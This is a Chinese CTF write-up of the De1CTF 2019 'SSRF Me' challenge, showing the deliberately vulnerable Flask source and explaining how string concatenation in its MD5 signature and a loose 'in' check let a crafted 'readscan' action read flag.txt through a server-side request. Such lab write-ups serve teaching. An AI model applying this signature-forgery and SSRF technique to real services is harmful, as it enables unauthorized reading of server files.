[BUU/SSRF] [De1CTF 2019]SSRF Me

[De1CTF 2019]SSRF Me

初审

整理源代码

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

# reload(sys)
# sys.setdefaultencoding('latin1')
app = Flask(__name__)
# 产生一个秘密数值,随机的
secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        # 初始化一些内部变量
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        # 建立环境沙箱
        if not os.path.exists(self.sandbox):
            # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500

        if self.checkSign():
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                    result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
        	if result['code'] == 500:
            	result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if getSign(self.action, self.param) == self.sign:
            return True
        else:
            return False


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if waf(param):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    # 原本为code.txt,此处为了成功运行,修改为本文件
    return open("ssrfme.py", "r").read()


def scan(param):
    # 设置默认的超时时间
    socket.setdefaulttimeout(1)
    try:
        # 返回报文的前50位
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    # 计算三部分的连接的md5值,分别是secert_key + param + action。
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    # 封装了文本的MD5求散列值的过程
    return hashlib.md5(content).hexdigest()


def waf(param):
    # 检查开头字符,禁用了gopher和file协议
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80, debug=True)

即通过路由/geneSignmd5(secert_key + param + action)进行计算

parma=1		{可替换为任意的地址}
action=scan
7736298a3c9151c091b4daeaecbd1d6c

按照如下的参数进行传参则可以通过该checkSign的验证,

parma=1		{可替换为任意的地址}
action=scan
sign=7736298a3c9151c091b4daeaecbd1d6c

按照该逻辑,会将scan对parma参数的请求结果的前50个字符写入到result.txt

因此有两个需要就解决的问题

1.成功的使action包含read并且成功的通过checkSign的检查。

2.绕过对gopher的过滤,成功读取到文本

解决方法

READ

(1)通过路由/geneSign得到sign值时,action是写死的,但是产出md5的字符串是拼接的。

(2)通过路由/De1ta对scan的值进行检验时,采用的方式位关键字in

采用两套的参数分别进行产生md5md5检验

/geneSign

param=[地址]read
action=scan

/De1ta

param=[地址]
action=readscan
sign=md5(secert_key + param + action)
内网读文件

直接读文件即可,无需使用协议

param=flag.txt
action=readscan
sign=d964cfac6e4451c583723e6fb1093305

请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值